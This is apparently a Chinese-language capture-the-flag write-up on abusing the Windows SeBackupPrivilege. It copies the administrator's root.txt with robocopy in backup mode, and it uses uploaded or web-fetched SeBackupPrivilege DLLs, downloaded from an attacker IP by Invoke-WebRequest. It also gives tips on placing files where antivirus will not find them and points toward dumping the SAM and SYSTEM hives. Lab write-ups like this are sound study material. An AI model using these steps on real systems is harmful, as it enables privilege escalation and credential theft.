利用 SeBackupPrivilege 的最快方法
在 Windows Active Directory 或独立环境中,最快利用 SeBackupPrivilege 的方法是通过使用 robocopy
命令。本文将详细介绍如何利用这一特权快速读取敏感文件(如 root.txt
),以及另一种通过 DLL 文件利用 SeBackupPrivilege 的方法(尽管速度不如 robocopy
)。
使用 robocopy
命令快速读取 root.txt
利用 SeBackupPrivilege 最快的方法是使用 robocopy
命令。通过该命令,可以以备份模式(/b
参数)复制文件,绕过文件和文件夹的权限设置(ACLs),从而访问通常被限制的敏感文件。
以下是具体操作步骤和示例:
示例命令
robocopy c:\users\administrator\desktop "C:\users\public\downloads" root.txt /mt /z /b
示例输出
*Evil-WinRM* PS C:\windows\temp> robocopy c:\users\administrator\desktop "C:\users\public\downloads" root.txt /mt /z /b
-------------------------------------------------------------------------------ROBOCOPY :: Robust File Copy for Windows
-------------------------------------------------------------------------------Started : Tuesday, October 1, 2024 12:02:07 PMSource : c:\users\administrator\desktop\Dest : C:\users\public\downloads\Files : root.txtOptions : /DCOPY:DA /COPY:DAT /B /MT:8 /R:1000000 /W:30
------------------------------------------------------------------------------New File 34 c:\users\administrator\desktop\root.txt
100%
------------------------------------------------------------------------------Total Copied Skipped Mismatch FAILED ExtrasDirs : 1 1 1 0 0 0Files : 1 1 0 0 0 0Bytes : 34 34 0 0 0 0Times : 0:00:00 0:00:00 0:00:00 0:00:00Ended : Tuesday, October 1, 2024 12:02:07 PM*Evil-WinRM* PS C:\windows\temp> dir c:\users\public\downloads\Directory: C:\users\public\downloadsMode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 10/1/2024 11:40 AM 34 root.txt*Evil-WinRM* PS C:\windows\temp> type c:\users\public\downloads\root.txt
7213....a..2ddd...batman.......
关键参数说明
/b
:以备份模式复制文件,绕过文件和文件夹的权限设置(ACLs),这是利用 SeBackupPrivilege 的核心。/mt
:启用多线程复制,提升效率。/z
:在可恢复模式下复制文件,确保复制过程中断后可以继续。
通过上述命令,可以快速将 root.txt
从管理员桌面复制到公共目录,并读取其内容。
通过 DLL 文件利用 SeBackupPrivilege(速度较慢)
虽然 robocopy
是最快的方法,但另一种利用 SeBackupPrivilege 的方式是通过特定的 DLL 文件(如 SeBackupPrivilegeCmdLets.dll
和 SeBackupPrivilegeUtils.dll
)。这种方法更适合需要读取特定管理文件或敏感信息(如 root.txt
或注册表文件)的情况。
背景
备份操作员(Backup Operators)是 Windows 的内置组,组内用户具有执行备份和还原操作的权限。具体来说,这些用户被分配了 SeBackupPrivilege
特权,允许他们读取域控制器中的敏感文件,例如安全账户管理器(SAM)文件。
利用 SeBackupPrivilege
有多种方式,但通过 DLL 文件的方法虽然不如 robocopy
快,却提供了更细粒度的控制,尤其适合读取特定文件或注册表数据。
前提条件
-
确保
SeBackupPrivilege
已启用。通过以下命令检查特权状态:*Evil-WinRM* PS C:\windows\temp> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======= SeBackupPrivilege Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled SeShutdownPrivilege Shut down the system Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
-
启用该特权后,用户可以访问任何本地或远程目录(使用
cd
和dir
命令),并列出其内容。 -
要读取或复制受限文件夹中的数据,需以备份软件的方式操作。普通
copy
命令无法生效,必须使用CreateFile
函数并指定FILE_FLAG_BACKUP_SEMANTICS
标志。
以下是通过 DLL 文件利用 SeBackupPrivilege
的具体步骤:
步骤 1:准备两个恶意编译的 DLL 文件
需要以下两个文件:
SeBackupPrivilegeCmdLets.dll
SeBackupPrivilegeUtils.dll
这些文件可以通过以下链接获取:编译好的 DLL 文件。
步骤 2:将 DLL 文件上传到目标机器
通过 WinRM 或 PowerShell 上传文件:
通过 WinRM 上传
*Evil-WinRM* PS C:\windows\temp> upload SeBackupPrivilegeUtils.dll
Info: Uploading /home/alienx/Desktop/MACHINES/SEASON-6/CICADA/SeBackupPrivilegeUtils.dll to C:\windows\temp\SeBackupPrivilegeUtils.dll
Data: 21844 bytes of 21844 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\windows\temp> upload SeBackupPrivilegeCmdLets.dll
Info: Uploading /home/alienx/Desktop/MACHINES/SEASON-6/CICADA/SeBackupPrivilegeCmdLets.dll to C:\windows\temp\SeBackupPrivilegeCmdLets.dll
Data: 16384 bytes of 16384 bytes copied
Info: Upload successful!
通过 PowerShell 上传
ps1> Invoke-WebRequest -Uri http://10.10.14.27:8000/SeBackupPrivilegeUtils.dll -OutFile .\SeBackupPrivilegeUtils.dll
ps1> Invoke-WebRequest -Uri http://10.10.14.27:8000/SeBackupPrivilegeCmdLets.dll -OutFile .\SeBackupPrivilegeCmdLets.dll
注意:某些防病毒软件(AV)可能会检测并删除这些 DLL 文件,因此需要选择一个防病毒软件无法扫描的目录(如 C:\windows\temp\
)来存储这些文件。
验证上传结果
*Evil-WinRM* PS C:\windows\temp> dirDirectory: C:\windows\tempMode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/23/2024 9:36 AM vmware-SYSTEM
-a---- 10/1/2024 8:54 AM 12288 SeBackupPrivilegeCmdLets.dll
-a---- 10/1/2024 8:54 AM 16384 SeBackupPrivilegeUtils.dll
-a---- 10/1/2024 8:18 AM 102 silconfig.log
-a---- 9/23/2024 10:01 AM 161031 vmware-vmsvc-SYSTEM.log
-a---- 9/23/2024 9:54 AM 14662 vmware-vmtoolsd-administrator.log
-a---- 10/1/2024 8:18 AM 16130 vmware-vmtoolsd-SYSTEM.log
-a---- 9/23/2024 10:01 AM 51472 vmware-vmusr-administrator.log
-a---- 10/1/2024 8:18 AM 14873 vmware-vmvss-SYSTEM.log
步骤 3:导入 DLL 文件
导入两个 DLL 文件并启用特权:
*Evil-WinRM* PS C:\windows\temp> Import-Module .\SeBackupPrivilegeUtils.dll
*Evil-WinRM* PS C:\windows\temp> Import-Module .\SeBackupPrivilegeCmdLets.dll
*Evil-WinRM* PS C:\windows\temp> Set-SeBackupPrivilege
*Evil-WinRM* PS C:\windows\temp> Get-SeBackupPrivilege
步骤 4:复制和读取敏感文件
使用 Copy-FileSeBackupPrivilege
命令复制敏感文件(如 root.txt
)到可访问目录:
*Evil-WinRM* PS C:\windows\temp> Copy-FileSeBackupPrivilege C:\users\administrator\Desktop\root.txt C:\windows\temp\flag.txt -Overwrite
*Evil-WinRM* PS C:\windows\temp> dirDirectory: C:\windows\tempMode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/23/2024 9:36 AM vmware-SYSTEM
-a---- 10/1/2024 9:00 AM 34 flag.txt
-a---- 10/1/2024 8:54 AM 12288 SeBackupPrivilegeCmdLets.dll
-a---- 10/1/2024 8:54 AM 16384 SeBackupPrivilegeUtils.dll
-a---- 10/1/2024 8:18 AM 102 silconfig.log
-a---- 9/23/2024 10:01 AM 161031 vmware-vmsvc-SYSTEM.log
-a---- 9/23/2024 9:54 AM 14662 vmware-vmtoolsd-administrator.log
-a---- 10/1/2024 8:18 AM 16130 vmware-vmtoolsd-SYSTEM.log
-a---- 9/23/2024 10:01 AM 51472 vmware-vmusr-administrator.log
-a---- 10/1/2024 8:18 AM 14873 vmware-vmvss-SYSTEM.log*Evil-WinRM* PS C:\windows\temp> type flag.txt
a4a96.....ef2e69f......
附加说明
如果需要进一步操作,可以尝试读取 Windows 注册表 hives(如 SAM 或 SYSTEM 文件),并将其导出到本地机器,以获取管理员权限或其他敏感信息。
总结
- 使用
robocopy
:这是利用 SeBackupPrivilege 最快的方法,适合快速复制敏感文件(如root.txt
)。只需一条命令即可完成,效率极高。 - 使用 DLL 文件:虽然速度较慢,但提供了更细粒度的控制,适合需要读取特定文件或注册表数据的场景。需要上传和导入 DLL 文件,并注意防病毒软件的干扰。
参考资料
- Microsoft 官方文档 - 事件 4672
- robocopy 命令参考
- 编译好的 DLL 文件
通过以上方法,可以有效利用 SeBackupPrivilege 特权,访问 Windows 系统中的敏感文件和数据。